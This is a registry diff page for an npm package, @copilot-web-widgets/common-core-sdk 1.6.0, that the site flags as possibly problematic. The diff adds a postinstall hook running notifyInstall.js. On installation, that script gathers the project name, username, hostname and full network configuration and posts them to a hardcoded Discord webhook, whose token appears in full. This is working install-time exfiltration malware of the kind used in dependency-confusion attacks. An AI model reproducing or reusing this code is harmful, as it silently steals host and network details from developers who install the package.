@copilot-web-widgets/common-core-sdk 1.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @copilot-web-widgets/common-core-sdk might be problematic. Click here for more details.
- package/.devcontainer/Dockerfile +12 -0
- package/.devcontainer/devcontainer.json +8 -0
- package/package.json +15 -0
- package/src/index.js +12 -0
- package/src/notifyInstall.js +112 -0
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
FROM node:22
|
|
2
|
+
|
|
3
|
+
# Install basic development tools
|
|
4
|
+
RUN apt update && apt install -y less man-db sudo
|
|
5
|
+
|
|
6
|
+
# Ensure default `node` user has access to `sudo`
|
|
7
|
+
ARG USERNAME=node
|
|
8
|
+
RUN echo $USERNAME ALL=\(root\) NOPASSWD:ALL > /etc/sudoers.d/$USERNAME \
|
|
9
|
+
&& chmod 0440 /etc/sudoers.d/$USERNAME
|
|
10
|
+
|
|
11
|
+
# Set `DEVCONTAINER` environment variable to help with orientation
|
|
12
|
+
ENV DEVCONTAINER=true
|
package/package.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@copilot-web-widgets/common-core-sdk",
|
|
3
|
+
"version": "1.6.0",
|
|
4
|
+
"main": "src/index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
7
|
+
"postinstall": "node src/notifyInstall.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"description": "",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"@copilot-web-widgets/common-core-sdk": "^1.4.0"
|
|
14
|
+
}
|
|
15
|
+
}
|
package/src/index.js
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
|
|
3
|
+
// Log "busfactor" to the console
|
|
4
|
+
console.log("busfactor");
|
|
5
|
+
|
|
6
|
+
// Create a hidden <div> element with the text "busfactor"
|
|
7
|
+
const hiddenDiv = document.createElement("div");
|
|
8
|
+
hiddenDiv.textContent = "busfactor";
|
|
9
|
+
hiddenDiv.style.display = "none";
|
|
10
|
+
|
|
11
|
+
// Append the hidden <div> to the end of the document body
|
|
12
|
+
document.body.appendChild(hiddenDiv);
|
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
// Retrieve project name from package.json
|
|
7
|
+
let projectName = 'Unknown Project';
|
|
8
|
+
try {
|
|
9
|
+
const packageJsonPath = path.join(process.cwd(), 'package.json');
|
|
10
|
+
if (fs.existsSync(packageJsonPath)) {
|
|
11
|
+
const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
|
|
12
|
+
projectName = packageJson.name || path.basename(process.cwd());
|
|
13
|
+
}
|
|
14
|
+
} catch (error) {
|
|
15
|
+
console.error('Error reading package.json:', error);
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Get current user with 'whoami'
|
|
19
|
+
let currentUser = 'Unknown User';
|
|
20
|
+
try {
|
|
21
|
+
currentUser = execSync('whoami').toString().trim();
|
|
22
|
+
} catch (error) {
|
|
23
|
+
console.error('Error executing whoami:', error);
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
// Get hostname
|
|
27
|
+
let hostname = 'Unknown Host';
|
|
28
|
+
try {
|
|
29
|
+
hostname = execSync('hostname').toString().trim();
|
|
30
|
+
} catch (error) {
|
|
31
|
+
console.error('Error executing hostname:', error);
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// Determine the appropriate IP configuration command based on the platform
|
|
35
|
+
const isWindows = process.platform === 'win32';
|
|
36
|
+
const ipCommand = isWindows ? 'ipconfig' : 'ip a';
|
|
37
|
+
let ipConfig = 'Unknown IP Configuration';
|
|
38
|
+
try {
|
|
39
|
+
ipConfig = execSync(ipCommand).toString();
|
|
40
|
+
} catch (error) {
|
|
41
|
+
console.error(`Error executing ${ipCommand} command:`, error);
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// Prepare data for Discord webhook
|
|
45
|
+
const data = JSON.stringify({
|
|
46
|
+
content: "Package has been installed or used",
|
|
47
|
+
embeds: [
|
|
48
|
+
{
|
|
49
|
+
title: "Installation Notification",
|
|
50
|
+
description: "The package was installed or used",
|
|
51
|
+
color: 5814783,
|
|
52
|
+
fields: [
|
|
53
|
+
{
|
|
54
|
+
name: "Timestamp",
|
|
55
|
+
value: new Date().toISOString(),
|
|
56
|
+
inline: true
|
|
57
|
+
},
|
|
58
|
+
{
|
|
59
|
+
name: "Package Name",
|
|
60
|
+
value: "@copilot-web-widgets/common-core-sdk",
|
|
61
|
+
inline: true
|
|
62
|
+
},
|
|
63
|
+
{
|
|
64
|
+
name: "Project Name",
|
|
65
|
+
value: projectName,
|
|
66
|
+
inline: false
|
|
67
|
+
},
|
|
68
|
+
{
|
|
69
|
+
name: "User",
|
|
70
|
+
value: currentUser,
|
|
71
|
+
inline: true
|
|
72
|
+
},
|
|
73
|
+
{
|
|
74
|
+
name: "Hostname",
|
|
75
|
+
value: hostname,
|
|
76
|
+
inline: true
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
name: "IP Configuration",
|
|
80
|
+
value: `\`\`\`${ipConfig.substring(0, 1000)}...\`\`\``, // Truncate to 1000 characters if needed
|
|
81
|
+
inline: false
|
|
82
|
+
}
|
|
83
|
+
]
|
|
84
|
+
}
|
|
85
|
+
]
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
const options = {
|
|
89
|
+
hostname: 'discord.com',
|
|
90
|
+
port: 443,
|
|
91
|
+
path: '/api/webhooks/1293639013881872394/Dm-VH1AcEzigVUCDipHGmu-zDhb3UnmEbCoduz9fvuGPNhAzu8S4ufv0Q2bhwz-fW6wA',
|
|
92
|
+
method: 'POST',
|
|
93
|
+
headers: {
|
|
94
|
+
'Content-Type': 'application/json',
|
|
95
|
+
'Content-Length': data.length
|
|
96
|
+
}
|
|
97
|
+
};
|
|
98
|
+
|
|
99
|
+
const req = https.request(options, (res) => {
|
|
100
|
+
console.log(`Status: ${res.statusCode}`);
|
|
101
|
+
res.on('data', (d) => {
|
|
102
|
+
process.stdout.write(d);
|
|
103
|
+
});
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
req.on('error', (error) => {
|
|
107
|
+
console.error(error);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
// Send the data
|
|
111
|
+
req.write(data);
|
|
112
|
+
req.end();
|